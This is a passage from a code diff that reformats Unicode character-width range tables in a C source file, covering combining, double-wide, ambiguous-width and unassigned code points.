0x1037A}, {0x10A01, 0x10A03}, {0x10A05, 0x10A06}, + {0x10A0C, 0x10A0F}, {0x10A38, 0x10A3A}, {0x10A3F, 0x10A3F}, {0x10AE5, 0x10AE6}, {0x10D24, 0x10D27}, + {0x10D69, 0x10D6D}, {0x10EAB, 0x10EAC}, {0x10EFC, 0x10EFF}, {0x10F46, 0x10F50}, {0x10F82, 0x10F85}, + {0x11000, 0x11002}, {0x11038, 0x11046}, {0x11070, 0x11070}, {0x11073, 0x11074}, {0x1107F, 0x11082}, + {0x110B0, 0x110BA}, {0x110C2, 0x110C2}, {0x11100, 0x11102}, {0x11127, 0x11134}, {0x11145, 0x11146}, + {0x11173, 0x11173}, {0x11180, 0x11182}, {0x111B3, 0x111C0}, {0x111C9, 0x111CC}, {0x111CE, 0x111CF}, + {0x1122C, 0x11237}, {0x1123E, 0x1123E}, {0x11241, 0x11241}, {0x112DF, 0x112EA}, {0x11300, 0x11303}, + {0x1133B, 0x1133C}, {0x1133E, 0x11344}, {0x11347, 0x11348}, {0x1134B, 0x1134D}, {0x11357, 0x11357}, + {0x11362, 0x11363}, {0x11366, 0x1136C}, {0x11370, 0x11374}, {0x113B8, 0x113C0}, {0x113C2, 0x113C2}, + {0x113C5, 0x113C5}, {0x113C7, 0x113CA}, {0x113CC, 0x113D0}, {0x113D2, 0x113D2}, {0x113E1, 0x113E2}, + {0x11435, 0x11446}, {0x1145E, 0x1145E}, {0x114B0, 0x114C3}, {0x115AF, 0x115B5}, {0x115B8, 0x115C0}, + {0x115DC, 0x115DD}, {0x11630, 0x11640}, {0x116AB, 0x116B7}, {0x1171D, 0x1172B}, {0x1182C, 0x1183A}, + {0x11930, 0x11935}, {0x11937, 0x11938}, {0x1193B, 0x1193E}, {0x11940, 0x11940}, {0x11942, 0x11943}, + {0x119D1, 0x119D7}, {0x119DA, 0x119E0}, {0x119E4, 0x119E4}, {0x11A01, 0x11A0A}, {0x11A33, 0x11A39}, + {0x11A3B, 0x11A3E}, {0x11A47, 0x11A47}, {0x11A51, 0x11A5B}, {0x11A8A, 0x11A99}, {0x11C2F, 0x11C36}, + {0x11C38, 0x11C3F}, {0x11C92, 0x11CA7}, {0x11CA9, 0x11CB6}, {0x11D31, 0x11D36}, {0x11D3A, 0x11D3A}, + {0x11D3C, 0x11D3D}, {0x11D3F, 0x11D45}, {0x11D47, 0x11D47}, {0x11D8A, 0x11D8E}, {0x11D90, 0x11D91}, + {0x11D93, 0x11D97}, {0x11EF3, 0x11EF6}, {0x11F00, 0x11F01}, {0x11F03, 0x11F03}, {0x11F34, 0x11F3A}, + {0x11F3E, 0x11F42}, {0x11F5A, 0x11F5A}, {0x13440, 0x13440}, {0x13447, 0x13455}, {0x1611E, 0x1612F}, + {0x16AF0, 0x16AF4}, {0x16B30, 0x16B36}, {0x16F4F, 0x16F4F}, {0x16F51, 0x16F87}, {0x16F8F, 0x16F92}, + {0x16FE4, 0x16FE4}, {0x16FF0, 0x16FF1}, {0x1BC9D, 0x1BC9E}, {0x1CF00, 0x1CF2D}, {0x1CF30, 0x1CF46}, + {0x1D165, 0x1D169}, {0x1D16D, 0x1D172}, {0x1D17B, 0x1D182}, {0x1D185, 0x1D18B}, {0x1D1AA, 0x1D1AD}, + {0x1D242, 0x1D244}, {0x1DA00, 0x1DA36}, {0x1DA3B, 0x1DA6C}, {0x1DA75, 0x1DA75}, {0x1DA84, 0x1DA84}, + {0x1DA9B, 0x1DA9F}, {0x1DAA1, 0x1DAAF}, {0x1E000, 0x1E006}, {0x1E008, 0x1E018}, {0x1E01B, 0x1E021}, + {0x1E023, 0x1E024}, {0x1E026, 0x1E02A}, {0x1E08F, 0x1E08F}, {0x1E130, 0x1E136}, {0x1E2AE, 0x1E2AE}, + {0x1E2EC, 0x1E2EF}, {0x1E4EC, 0x1E4EF}, {0x1E5EE, 0x1E5EF}, {0x1E8D0, 0x1E8D6}, {0x1E944, 0x1E94A}, + {0xE0100, 0xE01EF}}; /* Width 0 combining letters. */ -static const struct widechar_range widechar_combiningletters_table[] = { - {0x01160, 0x011FF}, - {0x0D7B0, 0x0D7FF} -}; +static const struct widechar_range widechar_combiningletters_table[] = {{0x01160, 0x011FF}, {0x0D7B0, 0x0D7FF}}; /* Width 2 characters. */ static const struct widechar_range widechar_doublewide_table[] = { - {0x01100, 0x0115F}, - {0x02329, 0x0232A}, - {0x02630, 0x02637}, - {0x0268A, 0x0268F}, - {0x02E80, 0x02E99}, - {0x02E9B, 0x02EF3}, - {0x02F00, 0x02FD5}, - {0x02FF0, 0x0303E}, - {0x03041, 0x03096}, - {0x03099, 0x030FF}, - {0x03105, 0x0312F}, - {0x03131, 0x0318E}, - {0x03190, 0x031E5}, - {0x031EF, 0x0321E}, - {0x03220, 0x03247}, - {0x03250, 0x0A48C}, - {0x0A490, 0x0A4C6}, - {0x0A960, 0x0A97C}, - {0x0AC00, 0x0D7A3}, - {0x0F900, 0x0FAFF}, - {0x0FE10, 0x0FE19}, - {0x0FE30, 0x0FE52}, - {0x0FE54, 0x0FE66}, - {0x0FE68, 0x0FE6B}, - {0x0FF01, 0x0FF60}, - {0x0FFE0, 0x0FFE6}, - {0x16FE0, 0x16FE4}, - {0x16FF0, 0x16FF1}, - {0x17000, 0x187F7}, - {0x18800, 0x18CD5}, - {0x18CFF, 0x18D08}, - {0x1AFF0, 0x1AFF3}, - {0x1AFF5, 0x1AFFB}, - {0x1AFFD, 0x1AFFE}, - {0x1B000, 0x1B122}, - {0x1B132, 0x1B132}, - {0x1B150, 0x1B152}, - {0x1B155, 0x1B155}, - {0x1B164, 0x1B167}, - {0x1B170, 0x1B2FB}, - {0x1D300, 0x1D356}, - {0x1D360, 0x1D376}, - {0x1F200, 0x1F200}, - {0x1F202, 0x1F202}, - {0x1F210, 0x1F219}, - {0x1F21B, 0x1F22E}, - {0x1F230, 0x1F231}, - {0x1F237, 0x1F237}, - {0x1F23B, 0x1F23B}, - {0x1F240, 0x1F248}, - {0x1F260, 0x1F265}, - {0x1F57A, 0x1F57A}, - {0x1F5A4, 0x1F5A4}, - {0x1F6D1, 0x1F6D2}, - {0x1F6D5, 0x1F6D7}, - {0x1F6DC, 0x1F6DF}, - {0x1F6F4, 0x1F6FC}, - {0x1F7E0, 0x1F7EB}, - {0x1F7F0, 0x1F7F0}, - {0x1F90C, 0x1F90F}, - {0x1F919, 0x1F93A}, - {0x1F93C, 0x1F945}, - {0x1F947, 0x1F97F}, - {0x1F985, 0x1F9BF}, - {0x1F9C1, 0x1F9FF}, - {0x1FA70, 0x1FA7C}, - {0x1FA80, 0x1FA89}, - {0x1FA8F, 0x1FAC6}, - {0x1FACE, 0x1FADC}, - {0x1FADF, 0x1FAE9}, - {0x1FAF0, 0x1FAF8}, - {0x20000, 0x2FFFD}, - {0x30000, 0x3FFFD} -}; + {0x01100, 0x0115F}, {0x02329, 0x0232A}, {0x02630, 0x02637}, {0x0268A, 0x0268F}, {0x02E80, 0x02E99}, + {0x02E9B, 0x02EF3}, {0x02F00, 0x02FD5}, {0x02FF0, 0x0303E}, {0x03041, 0x03096}, {0x03099, 0x030FF}, + {0x03105, 0x0312F}, {0x03131, 0x0318E}, {0x03190, 0x031E5}, {0x031EF, 0x0321E}, {0x03220, 0x03247}, + {0x03250, 0x0A48C}, {0x0A490, 0x0A4C6}, {0x0A960, 0x0A97C}, {0x0AC00, 0x0D7A3}, {0x0F900, 0x0FAFF}, + {0x0FE10, 0x0FE19}, {0x0FE30, 0x0FE52}, {0x0FE54, 0x0FE66}, {0x0FE68, 0x0FE6B}, {0x0FF01, 0x0FF60}, + {0x0FFE0, 0x0FFE6}, {0x16FE0, 0x16FE4}, {0x16FF0, 0x16FF1}, {0x17000, 0x187F7}, {0x18800, 0x18CD5}, + {0x18CFF, 0x18D08}, {0x1AFF0, 0x1AFF3}, {0x1AFF5, 0x1AFFB}, {0x1AFFD, 0x1AFFE}, {0x1B000, 0x1B122}, + {0x1B132, 0x1B132}, {0x1B150, 0x1B152}, {0x1B155, 0x1B155}, {0x1B164, 0x1B167}, {0x1B170, 0x1B2FB}, + {0x1D300, 0x1D356}, {0x1D360, 0x1D376}, {0x1F200, 0x1F200}, {0x1F202, 0x1F202}, {0x1F210, 0x1F219}, + {0x1F21B, 0x1F22E}, {0x1F230, 0x1F231}, {0x1F237, 0x1F237}, {0x1F23B, 0x1F23B}, {0x1F240, 0x1F248}, + {0x1F260, 0x1F265}, {0x1F57A, 0x1F57A}, {0x1F5A4, 0x1F5A4}, {0x1F6D1, 0x1F6D2}, {0x1F6D5, 0x1F6D7}, + {0x1F6DC, 0x1F6DF}, {0x1F6F4, 0x1F6FC}, {0x1F7E0, 0x1F7EB}, {0x1F7F0, 0x1F7F0}, {0x1F90C, 0x1F90F}, + {0x1F919, 0x1F93A}, {0x1F93C, 0x1F945}, {0x1F947, 0x1F97F}, {0x1F985, 0x1F9BF}, {0x1F9C1, 0x1F9FF}, + {0x1FA70, 0x1FA7C}, {0x1FA80, 0x1FA89}, {0x1FA8F, 0x1FAC6}, {0x1FACE, 0x1FADC}, {0x1FADF, 0x1FAE9}, + {0x1FAF0, 0x1FAF8}, {0x20000, 0x2FFFD}, {0x30000, 0x3FFFD}}; /* Ambiguous-width characters. */ static const struct widechar_range widechar_ambiguous_table[] = { - {0x000A1, 0x000A1}, - {0x000A4, 0x000A4}, - {0x000A7, 0x000A8}, - {0x000AA, 0x000AA}, - {0x000AD, 0x000AE}, - {0x000B0, 0x000B4}, - {0x000B6, 0x000BA}, - {0x000BC, 0x000BF}, - {0x000C6, 0x000C6}, - {0x000D0, 0x000D0}, - {0x000D7, 0x000D8}, - {0x000DE, 0x000E1}, - {0x000E6, 0x000E6}, - {0x000E8, 0x000EA}, - {0x000EC, 0x000ED}, - {0x000F0, 0x000F0}, - {0x000F2, 0x000F3}, - {0x000F7, 0x000FA}, - {0x000FC, 0x000FC}, - {0x000FE, 0x000FE}, - {0x00101, 0x00101}, - {0x00111, 0x00111}, - {0x00113, 0x00113}, - {0x0011B, 0x0011B}, - {0x00126, 0x00127}, - {0x0012B, 0x0012B}, - {0x00131, 0x00133}, - {0x00138, 0x00138}, - {0x0013F, 0x00142}, - {0x00144, 0x00144}, - {0x00148, 0x0014B}, - {0x0014D, 0x0014D}, - {0x00152, 0x00153}, - {0x00166, 0x00167}, - {0x0016B, 0x0016B}, - {0x001CE, 0x001CE}, - {0x001D0, 0x001D0}, - {0x001D2, 0x001D2}, - {0x001D4, 0x001D4}, - {0x001D6, 0x001D6}, - {0x001D8, 0x001D8}, - {0x001DA, 0x001DA}, - {0x001DC, 0x001DC}, - {0x00251, 0x00251}, - {0x00261, 0x00261}, - {0x002C4, 0x002C4}, - {0x002C7, 0x002C7}, - {0x002C9, 0x002CB}, - {0x002CD, 0x002CD}, - {0x002D0, 0x002D0}, - {0x002D8, 0x002DB}, - {0x002DD, 0x002DD}, - {0x002DF, 0x002DF}, - {0x00300, 0x0036F}, - {0x00391, 0x003A1}, - {0x003A3, 0x003A9}, - {0x003B1, 0x003C1}, - {0x003C3, 0x003C9}, - {0x00401, 0x00401}, - {0x00410, 0x0044F}, - {0x00451, 0x00451}, - {0x02010, 0x02010}, - {0x02013, 0x02016}, - {0x02018, 0x02019}, - {0x0201C, 0x0201D}, - {0x02020, 0x02022}, - {0x02024, 0x02027}, - {0x02030, 0x02030}, - {0x02032, 0x02033}, - {0x02035, 0x02035}, - {0x0203B, 0x0203B}, - {0x0203E, 0x0203E}, - {0x02074, 0x02074}, - {0x0207F, 0x0207F}, - {0x02081, 0x02084}, - {0x020AC, 0x020AC}, - {0x02103, 0x02103}, - {0x02105, 0x02105}, - {0x02109, 0x02109}, - {0x02113, 0x02113}, - {0x02116, 0x02116}, - {0x02121, 0x02122}, - {0x02126, 0x02126}, - {0x0212B, 0x0212B}, - {0x02153, 0x02154}, - {0x0215B, 0x0215E}, - {0x02160, 0x0216B}, - {0x02170, 0x02179}, - {0x02189, 0x02189}, - {0x02190, 0x02199}, - {0x021B8, 0x021B9}, - {0x021D2, 0x021D2}, - {0x021D4, 0x021D4}, - {0x021E7, 0x021E7}, - {0x02200, 0x02200}, - {0x02202, 0x02203}, - {0x02207, 0x02208}, - {0x0220B, 0x0220B}, - {0x0220F, 0x0220F}, - {0x02211, 0x02211}, - {0x02215, 0x02215}, - {0x0221A, 0x0221A}, - {0x0221D, 0x02220}, - {0x02223, 0x02223}, - {0x02225, 0x02225}, - {0x02227, 0x0222C}, - {0x0222E, 0x0222E}, - {0x02234, 0x02237}, - {0x0223C, 0x0223D}, - {0x02248, 0x02248}, - {0x0224C, 0x0224C}, - {0x02252, 0x02252}, - {0x02260, 0x02261}, - {0x02264, 0x02267}, - {0x0226A, 0x0226B}, - {0x0226E, 0x0226F}, - {0x02282, 0x02283}, - {0x02286, 0x02287}, - {0x02295, 0x02295}, - {0x02299, 0x02299}, - {0x022A5, 0x022A5}, - {0x022BF, 0x022BF}, - {0x02312, 0x02312}, - {0x02460, 0x024E9}, - {0x024EB, 0x0254B}, - {0x02550, 0x02573}, - {0x02580, 0x0258F}, - {0x02592, 0x02595}, - {0x025A0, 0x025A1}, - {0x025A3, 0x025A9}, - {0x025B2, 0x025B3}, - {0x025B6, 0x025B7}, - {0x025BC, 0x025BD}, - {0x025C0, 0x025C1}, - {0x025C6, 0x025C8}, - {0x025CB, 0x025CB}, - {0x025CE, 0x025D1}, - {0x025E2, 0x025E5}, - {0x025EF, 0x025EF}, - {0x02605, 0x02606}, - {0x02609, 0x02609}, - {0x0260E, 0x0260F}, - {0x0261C, 0x0261C}, - {0x0261E, 0x0261E}, - {0x02640, 0x02640}, - {0x02642, 0x02642}, - {0x02660, 0x02661}, - {0x02663, 0x02665}, - {0x02667, 0x0266A}, - {0x0266C, 0x0266D}, - {0x0266F, 0x0266F}, - {0x0269E, 0x0269F}, - {0x026BF, 0x026BF}, - {0x026C6, 0x026CD}, - {0x026CF, 0x026D3}, - {0x026D5, 0x026E1}, - {0x026E3, 0x026E3}, - {0x026E8, 0x026E9}, - {0x026EB, 0x026F1}, - {0x026F4, 0x026F4}, - {0x026F6, 0x026F9}, - {0x026FB, 0x026FC}, - {0x026FE, 0x026FF}, - {0x0273D, 0x0273D}, - {0x02776, 0x0277F}, - {0x02B56, 0x02B59}, - {0x03248, 0x0324F}, - {0x0E000, 0x0F8FF}, - {0x0FE00, 0x0FE0F}, - {0x0FFFD, 0x0FFFD}, - {0x1F100, 0x1F10A}, - {0x1F110, 0x1F12D}, - {0x1F130, 0x1F169}, - {0x1F170, 0x1F18D}, - {0x1F18F, 0x1F190}, - {0x1F19B, 0x1F1AC}, - {0xE0100, 0xE01EF}, - {0xF0000, 0xFFFFD}, - {0x100000, 0x10FFFD} -}; + {0x000A1, 0x000A1}, {0x000A4, 0x000A4}, {0x000A7, 0x000A8}, {0x000AA, 0x000AA}, {0x000AD, 0x000AE}, + {0x000B0, 0x000B4}, {0x000B6, 0x000BA}, {0x000BC, 0x000BF}, {0x000C6, 0x000C6}, {0x000D0, 0x000D0}, + {0x000D7, 0x000D8}, {0x000DE, 0x000E1}, {0x000E6, 0x000E6}, {0x000E8, 0x000EA}, {0x000EC, 0x000ED}, + {0x000F0, 0x000F0}, {0x000F2, 0x000F3}, {0x000F7, 0x000FA}, {0x000FC, 0x000FC}, {0x000FE, 0x000FE}, + {0x00101, 0x00101}, {0x00111, 0x00111}, {0x00113, 0x00113}, {0x0011B, 0x0011B}, {0x00126, 0x00127}, + {0x0012B, 0x0012B}, {0x00131, 0x00133}, {0x00138, 0x00138}, {0x0013F, 0x00142}, {0x00144, 0x00144}, + {0x00148, 0x0014B}, {0x0014D, 0x0014D}, {0x00152, 0x00153}, {0x00166, 0x00167}, {0x0016B, 0x0016B}, + {0x001CE, 0x001CE}, {0x001D0, 0x001D0}, {0x001D2, 0x001D2}, {0x001D4, 0x001D4}, {0x001D6, 0x001D6}, + {0x001D8, 0x001D8}, {0x001DA, 0x001DA}, {0x001DC, 0x001DC}, {0x00251, 0x00251}, {0x00261, 0x00261}, + {0x002C4, 0x002C4}, {0x002C7, 0x002C7}, {0x002C9, 0x002CB}, {0x002CD, 0x002CD}, {0x002D0, 0x002D0}, + {0x002D8, 0x002DB}, {0x002DD, 0x002DD}, {0x002DF, 0x002DF}, {0x00300, 0x0036F}, {0x00391, 0x003A1}, + {0x003A3, 0x003A9}, {0x003B1, 0x003C1}, {0x003C3, 0x003C9}, {0x00401, 0x00401}, {0x00410, 0x0044F}, + {0x00451, 0x00451}, {0x02010, 0x02010}, {0x02013, 0x02016}, {0x02018, 0x02019}, {0x0201C, 0x0201D}, + {0x02020, 0x02022}, {0x02024, 0x02027}, {0x02030, 0x02030}, {0x02032, 0x02033}, {0x02035, 0x02035}, + {0x0203B, 0x0203B}, {0x0203E, 0x0203E}, {0x02074, 0x02074}, {0x0207F, 0x0207F}, {0x02081, 0x02084}, + {0x020AC, 0x020AC}, {0x02103, 0x02103}, {0x02105, 0x02105}, {0x02109, 0x02109}, {0x02113, 0x02113}, + {0x02116, 0x02116}, {0x02121, 0x02122}, {0x02126, 0x02126}, {0x0212B, 0x0212B}, {0x02153, 0x02154}, + {0x0215B, 0x0215E}, {0x02160, 0x0216B}, {0x02170, 0x02179}, {0x02189, 0x02189}, {0x02190, 0x02199}, + {0x021B8, 0x021B9}, {0x021D2, 0x021D2}, {0x021D4, 0x021D4}, {0x021E7, 0x021E7}, {0x02200, 0x02200}, + {0x02202, 0x02203}, {0x02207, 0x02208}, {0x0220B, 0x0220B}, {0x0220F, 0x0220F}, {0x02211, 0x02211}, + {0x02215, 0x02215}, {0x0221A, 0x0221A}, {0x0221D, 0x02220}, {0x02223, 0x02223}, {0x02225, 0x02225}, + {0x02227, 0x0222C}, {0x0222E, 0x0222E}, {0x02234, 0x02237}, {0x0223C, 0x0223D}, {0x02248, 0x02248}, + {0x0224C, 0x0224C}, {0x02252, 0x02252}, {0x02260, 0x02261}, {0x02264, 0x02267}, {0x0226A, 0x0226B}, + {0x0226E, 0x0226F}, {0x02282, 0x02283}, {0x02286, 0x02287}, {0x02295, 0x02295}, {0x02299, 0x02299}, + {0x022A5, 0x022A5}, {0x022BF, 0x022BF}, {0x02312, 0x02312}, {0x02460, 0x024E9}, {0x024EB, 0x0254B}, + {0x02550, 0x02573}, {0x02580, 0x0258F}, {0x02592, 0x02595}, {0x025A0, 0x025A1}, {0x025A3, 0x025A9}, + {0x025B2, 0x025B3}, {0x025B6, 0x025B7}, {0x025BC, 0x025BD}, {0x025C0, 0x025C1}, {0x025C6, 0x025C8}, + {0x025CB, 0x025CB}, {0x025CE, 0x025D1}, {0x025E2, 0x025E5}, {0x025EF, 0x025EF}, {0x02605, 0x02606}, + {0x02609, 0x02609}, {0x0260E, 0x0260F}, {0x0261C, 0x0261C}, {0x0261E, 0x0261E}, {0x02640, 0x02640}, + {0x02642, 0x02642}, {0x02660, 0x02661}, {0x02663, 0x02665}, {0x02667, 0x0266A}, {0x0266C, 0x0266D}, + {0x0266F, 0x0266F}, {0x0269E, 0x0269F}, {0x026BF, 0x026BF}, {0x026C6, 0x026CD}, {0x026CF, 0x026D3}, + {0x026D5, 0x026E1}, {0x026E3, 0x026E3}, {0x026E8, 0x026E9}, {0x026EB, 0x026F1}, {0x026F4, 0x026F4}, + {0x026F6, 0x026F9}, {0x026FB, 0x026FC}, {0x026FE, 0x026FF}, {0x0273D, 0x0273D}, {0x02776, 0x0277F}, + {0x02B56, 0x02B59}, {0x03248, 0x0324F}, {0x0E000, 0x0F8FF}, {0x0FE00, 0x0FE0F}, {0x0FFFD, 0x0FFFD}, + {0x1F100, 0x1F10A}, {0x1F110, 0x1F12D}, {0x1F130, 0x1F169}, {0x1F170, 0x1F18D}, {0x1F18F, 0x1F190}, + {0x1F19B, 0x1F1AC}, {0xE0100, 0xE01EF}, {0xF0000, 0xFFFFD}, {0x100000, 0x10FFFD}}; /* Unassigned characters. */ static const struct widechar_range widechar_unassigned_table[] = { - {0x00378, 0x00379}, - {0x00380, 0x00383}, - {0x0038B, 0x0038B}, - {0x0038D, 0x0038D}, - {0x003A2, 0x003A2}, - {0x00530, 0x00530}, - {0x00557, 0x00558}, - {0x0058B, 0x0058C}, - {0x00590, 0x00590}, - {0x005C8, 0x005CF}, - {0x005EB, 0x005EE}, - {0x005F5, 0x005FF}, - {0x0070E, 0x0070E}, - {0x0074B, 0x0074C}, - {0x007B2, 0x007BF}, - {0x007FB, 0x007FC}, - {0x0082E, 0x0082F}, - {0x0083F, 0x0083F}, - {0x0085C, 0x0085D}, - {0x0085F, 0x0085F}, - {0x0086B, 0x0086F}, - {0x0088F, 0x0088F}, - {0x00892, 0x00896}, - {0x00984, 0x00984}, - {0x0098D, 0x0098E}, - {0x00991, 0x00992}, - {0x009A9, 0x009A9}, - {0x009B1, 0x009B1}, - {0x009B3, 0x009B5}, - {0x009BA, 0x009BB}, - {0x009C5, 0x009C6}, - {0x009C9, 0x009CA}, - {0x009CF, 0x009D6}, - {0x009D8, 0x009DB}, - {0x009DE, 0x009DE}, - {0x009E4, 0x009E5}, - {0x009FF, 0x00A00}, - {0x00A04, 0x00A04}, - {0x00A0B, 0x00A0E}, - {0x00A11, 0x00A12}, - {0x00A29, 0x00A29}, - {0x00A31, 0x00A31}, - {0x00A34, 0x00A34}, - {0x00A37, 0x00A37}, - {0x00A3A, 0x00A3B}, - {0x00A3D, 0x00A3D}, - {0x00A43, 0x00A46}, - {0x00A49, 0x00A4A}, - {0x00A4E, 0x00A50}, - {0x00A52, 0x00A58}, - {0x00A5D, 0x00A5D}, - {0x00A5F, 0x00A65}, - {0x00A77, 0x00A80}, - {0x00A84, 0x00A84}, - {0x00A8E, 0x00A8E}, - {0x00A92, 0x00A92}, - {0x00AA9, 0x00AA9}, - {0x00AB1, 0x00AB1}, - {0x00AB4, 0x00AB4}, - {0x00ABA, 0x00ABB}, - {0x00AC6, 0x00AC6}, - {0x00ACA, 0x00ACA}, - {0x00ACE, 0x00ACF}, - {0x00AD1, 0x00ADF}, - {0x00AE4, 0x00AE5}, - {0x00AF2, 0x00AF8}, - {0x00B00, 0x00B00}, - {0x00B04, 0x00B04}, - {0x00B0D, 0x00B0E}, - {0x00B11, 0x00B12}, - {0x00B29, 0x00B29}, - {0x00B31, 0x00B31}, - {0x00B34, 0x00B34}, - {0x00B3A, 0x00B3B}, - {0x00B45, 0x00B46}, - {0x00B49, 0x00B4A}, - {0x00B4E, 0x00B54}, - {0x00B58, 0x00B5B}, - {0x00B5E, 0x00B5E}, - {0x00B64, 0x00B65}, - {0x00B78, 0x00B81}, - {0x00B84, 0x00B84}, - {0x00B8B, 0x00B8D}, - {0x00B91, 0x00B91}, - {0x00B96, 0x00B98}, - {0x00B9B, 0x00B9B}, - {0x00B9D, 0x00B9D}, - {0x00BA0, 0x00BA2}, - {0x00BA5, 0x00BA7}, - {0x00BAB, 0x00BAD}, - {0x00BBA, 0x00BBD}, - {0x00BC3, 0x00BC5}, - {0x00BC9, 0x00BC9}, - {0x00BCE, 0x00BCF}, - {0x00BD1, 0x00BD6}, - {0x00BD8, 0x00BE5}, - {0x00BFB, 0x00BFF}, - {0x00C0D, 0x00C0D}, - {0x00C11, 0x00C11}, - {0x00C29, 0x00C29}, - {0x00C3A, 0x00C3B}, - {0x00C45, 0x00C45}, - {0x00C49, 0x00C49}, - {0x00C4E, 0x00C54}, - {0x00C57, 0x00C57}, - {0x00C5B, 0x00C5C}, - {0x00C5E, 0x00C5F}, - {0x00C64, 0x00C65}, - {0x00C70, 0x00C76}, - {0x00C8D, 0x00C8D}, - {0x00C91, 0x00C91}, - {0x00CA9, 0x00CA9}, - {0x00CB4, 0x00CB4}, - {0x00CBA, 0x00CBB}, - {0x00CC5, 0x00CC5}, - {0x00CC9, 0x00CC9}, - {0x00CCE, 0x00CD4}, - {0x00CD7, 0x00CDC}, - {0x00CDF, 0x00CDF}, - {0x00CE4, 0x00CE5}, - {0x00CF0, 0x00CF0}, - {0x00CF4, 0x00CFF}, - {0x00D0D, 0x00D0D}, - {0x00D11, 0x00D11}, - {0x00D45, 0x00D45}, - {0x00D49, 0x00D49}, - {0x00D50, 0x00D53}, - {0x00D64, 0x00D65}, - {0x00D80, 0x00D80}, - {0x00D84, 0x00D84}, - {0x00D97, 0x00D99}, - {0x00DB2, 0x00DB2}, - {0x00DBC, 0x00DBC}, - {0x00DBE, 0x00DBF}, - {0x00DC7, 0x00DC9}, - {0x00DCB, 0x00DCE}, - {0x00DD5, 0x00DD5}, - {0x00DD7, 0x00DD7}, - {0x00DE0, 0x00DE5}, - {0x00DF0, 0x00DF1}, - {0x00DF5, 0x00E00}, - {0x00E3B, 0x00E3E}, - {0x00E5C, 0x00E80}, - {0x00E83, 0x00E83}, - {0x00E85, 0x00E85}, - {0x00E8B, 0x00E8B}, - {0x00EA4, 0x00EA4}, - {0x00EA6, 0x00EA6}, - {0x00EBE, 0x00EBF}, - {0x00EC5, 0x00EC5}, - {0x00EC7, 0x00EC7}, - {0x00ECF, 0x00ECF}, - {0x00EDA, 0x00EDB}, - {0x00EE0, 0x00EFF}, - {0x00F48, 0x00F48}, - {0x00F6D, 0x00F70}, - {0x00F98, 0x00F98}, - {0x00FBD, 0x00FBD}, - {0x00FCD, 0x00FCD}, - {0x00FDB, 0x00FFF}, - {0x010C6, 0x010C6}, - {0x010C8, 0x010CC}, - {0x010CE, 0x010CF}, - {0x01249, 0x01249}, - {0x0124E, 0x0124F}, - {0x01257, 0x01257}, - {0x01259, 0x01259}, - {0x0125E, 0x0125F}, - {0x01289, 0x01289}, - {0x0128E, 0x0128F}, - {0x012B1, 0x012B1}, - {0x012B6, 0x012B7}, - {0x012BF, 0x012BF}, - {0x012C1, 0x012C1}, - {0x012C6, 0x012C7}, - {0x012D7, 0x012D7}, - {0x01311, 0x01311}, - {0x01316, 0x01317}, - {0x0135B, 0x0135C}, - {0x0137D, 0x0137F}, - {0x0139A, 0x0139F}, - {0x013F6, 0x013F7}, - {0x013FE, 0x013FF}, - {0x0169D, 0x0169F}, - {0x016F9, 0x016FF}, - {0x01716, 0x0171E}, - {0x01737, 0x0173F}, - {0x01754, 0x0175F}, - {0x0176D, 0x0176D}, - {0x01771, 0x01771}, - {0x01774, 0x0177F}, - {0x017DE, 0x017DF}, - {0x017EA, 0x017EF}, - {0x017FA, 0x017FF}, - {0x0181A, 0x0181F}, - {0x01879, 0x0187F}, - {0x018AB, 0x018AF}, - {0x018F6, 0x018FF}, - {0x0191F, 0x0191F}, - {0x0192C, 0x0192F}, - {0x0193C, 0x0193F}, - {0x01941, 0x01943}, - {0x0196E, 0x0196F}, - {0x01975, 0x0197F}, - {0x019AC, 0x019AF}, - {0x019CA, 0x019CF}, - {0x019DB, 0x019DD}, - {0x01A1C, 0x01A1D}, - {0x01A5F, 0x01A5F}, - {0x01A7D, 0x01A7E}, - {0x01A8A, 0x01A8F}, - {0x01A9A, 0x01A9F}, - {0x01AAE, 0x01AAF}, - {0x01ACF, 0x01AFF}, - {0x01B4D, 0x01B4D}, - {0x01BF4, 0x01BFB}, - {0x01C38, 0x01C3A}, - {0x01C4A, 0x01C4C}, - {0x01C8B, 0x01C8F}, - {0x01CBB, 0x01CBC}, - {0x01CC8, 0x01CCF}, - {0x01CFB, 0x01CFF}, - {0x01F16, 0x01F17}, - {0x01F1E, 0x01F1F}, - {0x01F46, 0x01F47}, - {0x01F4E, 0x01F4F}, - {0x01F58, 0x01F58}, - {0x01F5A, 0x01F5A}, - {0x01F5C, 0x01F5C}, - {0x01F5E, 0x01F5E}, - {0x01F7E, 0x01F7F}, - {0x01FB5, 0x01FB5}, - {0x01FC5, 0x01FC5}, - {0x01FD4, 0x01FD5}, - {0x01FDC, 0x01FDC}, - {0x01FF0, 0x01FF1}, - {0x01FF5, 0x01FF5}, - {0x01FFF, 0x01FFF}, - {0x02065, 0x02065}, - {0x02072, 0x02073}, - {0x0208F, 0x0208F}, - {0x0209D, 0x0209F}, - {0x020C1, 0x020CF}, - {0x020F1, 0x020FF}, - {0x0218C, 0x0218F}, - {0x0242A, 0x0243F}, - {0x0244B, 0x0245F}, - {0x02B74, 0x02B75}, - {0x02B96, 0x02B96}, - {0x02CF4, 0x02CF8}, - {0x02D26, 0x02D26}, - {0x02D28, 0x02D2C}, - {0x02D2E, 0x02D2F}, - {0x02D68, 0x02D6E}, - {0x02D71, 0x02D7E}, - {0x02D97, 0x02D9F}, - {0x02DA7, 0x02DA7}, - {0x02DAF, 0x02DAF}, - {0x02DB7, 0x02DB7}, - {0x02DBF, 0x02DBF}, - {0x02DC7, 0x02DC7}, - {0x02DCF, 0x02DCF}, - {0x02DD7, 0x02DD7}, - {0x02DDF, 0x02DDF}, - {0x02E5E, 0x02E7F}, - {0x02E9A, 0x02E9A}, - {0x02EF4, 0x02EFF}, - {0x02FD6, 0x02FEF}, - {0x03040, 0x03040}, - {0x03097, 0x03098}, - {0x03100, 0x03104}, - {0x03130, 0x03130}, - {0x0318F, 0x0318F}, - {0x031E6, 0x031EE}, - {0x0321F, 0x0321F}, - {0x03401, 0x04DBE}, - {0x04E01, 0x09FFE}, - {0x0A48D, 0x0A48F}, - {0x0A4C7, 0x0A4CF}, - {0x0A62C, 0x0A63F}, - {0x0A6F8, 0x0A6FF}, - {0x0A7CE, 0x0A7CF}, - {0x0A7D2, 0x0A7D2}, - {0x0A7D4, 0x0A7D4}, - {0x0A7DD, 0x0A7F1}, - {0x0A82D, 0x0A82F}, - {0x0A83A, 0x0A83F}, - {0x0A878, 0x0A87F}, - {0x0A8C6, 0x0A8CD}, - {0x0A8DA, 0x0A8DF}, - {0x0A954, 0x0A95E}, - {0x0A97D, 0x0A97F}, 